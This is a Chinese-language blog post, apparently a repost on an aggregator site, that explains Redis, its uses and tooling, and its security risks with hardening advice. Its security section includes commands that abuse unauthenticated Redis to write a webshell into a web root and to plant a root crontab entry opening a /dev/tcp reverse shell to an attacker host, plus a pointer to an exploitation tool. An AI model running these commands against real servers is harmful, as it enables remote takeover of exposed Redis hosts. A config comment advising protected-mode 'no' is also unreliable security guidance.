当前位置: 首页 > article >正文

Redis安全

免责声明:本文仅做分享~ 

听说 Redis出网 就容易挨打 ???...

1. 什么是 Redis?

Redis (Remote Dictionary Server) 是一个开源的内存数据结构存储系统,广泛用于缓存、消息队列、会话管理、排行榜、实时分析等场景。Redis 支持多种数据结构,如字符串、哈希、列表、集合、有序集合、位图、HyperLogLogs 及 Geospatial 索引。

Redis 特点:

  • 内存存储:数据存储在内存中,提供高性能和低延迟的读写操作。

  • 持久化:支持将内存中的数据异步地保存到硬盘,避免数据丢失。

  • 多种数据结构:提供丰富的数据结构支持,能处理复杂的数据管理需求。

  • 主从复制:支持主从架构,提供高可用性和数据冗余。

  • Lua 脚本:支持使用 Lua 脚本执行原子操作,简化复杂逻辑。

  • 事务支持:提供基本的事务功能,保证命令的原子性。

  • 丰富的客户端:支持多种编程语言的客户端库。


2. Redis 的常见使用场景

Redis 可以应用于多个场景中,以下是一些常见的应用场景:

1. 缓存

Redis 作为缓存层,存储热点数据,减少数据库的压力,提升应用的响应速度。由于 Redis 的高性能,尤其适合需要快速访问频繁使用的数据的场景。

2. 消息队列

Redis 的 List 数据结构可以用来实现生产者-消费者模式,从而支持消息队列功能。LPUSHRPOP 命令可以用来模拟消息的生产和消费。

3. 会话管理

由于 Redis 可以存储键值对,它常用于存储用户会话信息,并且可以设置会话的过期时间。

4. 排行榜

Redis 支持 Sorted Set 数据结构,能通过分数排序存储的数据。因此,Redis 常用于实现实时排行榜应用,例如游戏或社交媒体的排名系统。

5. 实时分析

Redis 的高吞吐量和低延迟特点使其适合用于实时数据分析,帮助应用程序实时处理和展示最新数据。

6. 分布式锁

Redis 可以实现分布式锁,帮助多个实例之间协调,防止多个节点同时执行相同任务,保证数据的一致性。


3. Redis 的资源与工具

以下是一些 Redis 的学习资源和开发工具,帮助开发者更好地理解和使用 Redis。

1. Redis 官网

Redis - The Real-time Data Platform Redis 的官方站点,提供了完整的文档、教程、下载和新闻等。

2. Redis GitHub 仓库

GitHub - redis/redis: Redis is an in-memory database that persists on disk. The data model is key-value, but many different kind of values are supported: Strings, Lists, Sets, Sorted Sets, Hashes, Streams, HyperLogLogs, Bitmaps. Redis 官方的源代码库,包含 Redis 的最新版本、Issue 讨论和贡献指南。

3. Redis 客户端

Redis 支持多种编程语言的客户端工具,以下是几个流行的 Redis 客户端:

  • Python: redis-py (GitHub链接)

  • Node.js: ioredis (GitHub链接)

  • Java: Jedis (GitHub链接)

  • Go: go-redis (GitHub链接)

4. Redis 学习资源

  • Redis 教程(简体中文): Redis 教程 | 菜鸟教程 包含 Redis 的基础知识介绍,适合入门级学习。

  • Redis Labs 文档: https://docs.redislabs.com/ 提供 Redis Enterprise 相关的高级功能文档。

5. Redis 监控与管理工具

  • RedisInsight: Redis Insight 官方的 Redis 管理工具,提供可视化操作和监控功能,帮助开发者调试、分析和优化 Redis 实例。

  • Prometheus Redis Exporter: GitHub - oliver006/redis_exporter: Prometheus Exporter for ValKey & Redis Metrics. Supports ValKey and Redis 2.x, 3.x, 4.x, 5.x, 6.x, and 7.x 用于将 Redis 性能指标导出到 Prometheus 中进行监控和可视化。

  • Redsmin: Redsmin - Redis GUI 在线的 Redis 管理和监控平台,支持实时分析和调试。


4. Redis 的安全问题

全文干货!Redis漏洞利用详解 (上)

全文干货!Redis漏洞利用详解 (下)

Redis默认6379端口并且为密码或弱密码的情况下,处于公网的redis服务就会被任意的用户未授权访问,读取数据,利用redis自身的命令,进行写入文件操作。从而获得系统权限.

1. 未授权访问

问题: Redis 默认在不设置密码的情况下监听 0.0.0.0,这意味着任何人都可以连接并访问 Redis。

解决方案

  • 绑定特定 IP 地址:修改 redis.conf 配置文件,将 bind 选项设置为仅绑定到本地或特定的 IP 地址,例如:

    bind 127.0.0.1  # 将bind前面#注释符去掉,将protected-mode 后面改为no。
  • 启用密码保护:通过 requirepass 设置 Redis 的访问密码:

  • 配置文件redis.conf:

    requirepass "your_password"

2. 弱密码和暴力破解

问题: 即便设置了访问密码,使用弱密码依然容易被暴力破解工具猜测到。

解决方案

  • 使用强密码,并定期更换密码。

  • 配合防火墙或 IP 限制,防止外部的恶意访问。

  • 启用 Redis ACL(Access Control List),为不同用户提供不同的权限。

3. 数据泄露

问题: Redis 数据存储在内存中,如果未加密传输,可能会在传输过程中被截获。

解决方案

  • 启用 Redis 的 TLS/SSL 支持,确保数据在网络传输时被加密。 配置文件示例:

    tls-port 6379
    tls-cert-file /etc/ssl/redis.crt
    tls-key-file /etc/ssl/redis.key
    tls-ca-cert-file /etc/ssl/ca.crt

4. 拒绝服务攻击 (DoS)

问题: 恶意用户可能通过发送大量耗费资源的请求(例如大批量数据插入),导致 Redis 实例性能下降或宕机。

解决方案

  • 配置 Redis 的最大客户端连接数 maxclients 以及最大内存使用 maxmemory,防止单个实例被过度消耗资源:

    maxclients 10000
    maxmemory 1gb

5. 持久化文件的安全性

问题: Redis 支持将数据持久化到磁盘,但持久化文件如果未保护好,可能会被攻击者篡改或获取。

解决方案

  • 确保 RDB 和 AOF 文件的存储路径有正确的权限设置,防止未经授权的用户读取或写入。

  • 定期备份持久化文件,并启用加密备份功能。

6.利用redis写webshell

在利用redis写webshell时,我们需要知道web站点的路径。不然即使生成webshell你也连不上。假设我们的站点目录是/var/www/html执行下面命令即可。

config set dir /var/www/html #设置目录
config set dbfilename kali.php #生成文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n" #给文件中写入内容
save#保存
#完成后,访问文件

7.反弹shell

redis创建定时任务文件 --> 通过定时任务来上线nc

config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/kali的IP/5555 0>&1\n\n"
save
​
# nc -lvvp 5555

 

 


5. Redis 安全最佳实践

1. 限制网络访问

  • 使用防火墙规则或 iptables 限制 Redis 的访问来源,避免暴露在公共网络上。

  • 在云服务中,使用专用的 VPC(虚拟私有云)或内部网络连接 Redis 实例。

2. 定期更新和打补丁

  • 保持 Redis 版本的最新状态,及时应用安全补丁,防止已知的漏洞被利用。

3. 使用隔离环境

  • 将 Redis 部署在独立的服务器或容器中,避免与其他应用程序共享同一物理或虚拟环境,减少相互影响的风险。

4. 使用监控工具

  • 部署 Redis 监控工具,如 RedisInsight 或 Prometheus,用于实时监控 Redis 的运行状态、内存占用和性能指标。

5. 开启日志记录

  • 启用日志功能,定期检查 Redis 日志,以便发现异常行为并及时处理。


工具

RedisExp

GitHub - yuyan-sec/RedisEXP: Redis 漏洞利用工具

RedisExp 是一个用于利用 Redis 漏洞的多功能工具,支持执行 Redis 命令、主从复制、DLL/SO 加载、文件上传、计划任务写入、SSH 公钥配置等操作。该工具允许用户通过不同的模块实现远程命令执行、上传恶意文件以及劫持 DLL。

...


 


http://www.kler.cn/news/319709.html

相关文章:

  • Java语法-类和对象(上)
  • 《开题报告》基于SpringBoot的社区团购系统的设计与实现+学习文档+答辩讲解视频
  • 编译win2k3中tools目录下i386mk.inc文件的作用
  • Java 微服务框架 HP-SOA v1.1.4
  • 【网络】高级IO——Reactor版TCP服务器
  • 刷题训练之栈
  • 系统敏感信息搜索工具(支持Windows、Linux)
  • Unnity IOS安卓启动黑屏加图(底图+Logo gif也行)
  • docker中搭建nacos并将springboot项目的配置文件转移到nacos中
  • 流 Stream
  • 代码随想录算法训练营第二十天 | Java |530.二叉搜索树的最小绝对差、501.二叉搜索树中的众数、236. 二叉树的最近公共祖先
  • 聚观早报 | 小米三折叠手机专利曝光;李斌谈合肥投资蔚来
  • K8S服务发布
  • 操作系统 | 学习笔记 | | 王道 | 5.3 磁盘和固态硬盘
  • Qwen大型语言模型系列的最新成果 ----Qwen2.5
  • 设备稳定流畅视频体验,乐鑫ESP32-S3芯片方案无线音视频传输通信
  • docker和docker-compose安装
  • 【计算机网络】理解应用层协议HTTP
  • Codeforces 1338A —— Powered Addition 题解
  • 持续学习与创新能力的双重提升
  • javaseday31多线程
  • Node.js 学习 path模块、fs模块、npm软件包管理器、导出、导入
  • 通信工程学习:什么是VPN虚拟专用网络
  • 微服务配置中心介绍
  • 计算机毕业设计之:基于微信小程序的校园流浪猫收养系统
  • 【24华为杯数模研赛赛题思路已出】国赛B题思路丨附参考代码丨免费分享
  • 应用层 I(C/S模型、P2P模型、域名系统DNS)【★★】
  • can not run elasticsearch as root
  • 【前端】ES6:Proxy代理和Reflect对象
  • 【百日算法计划】:每日一题,见证成长(020)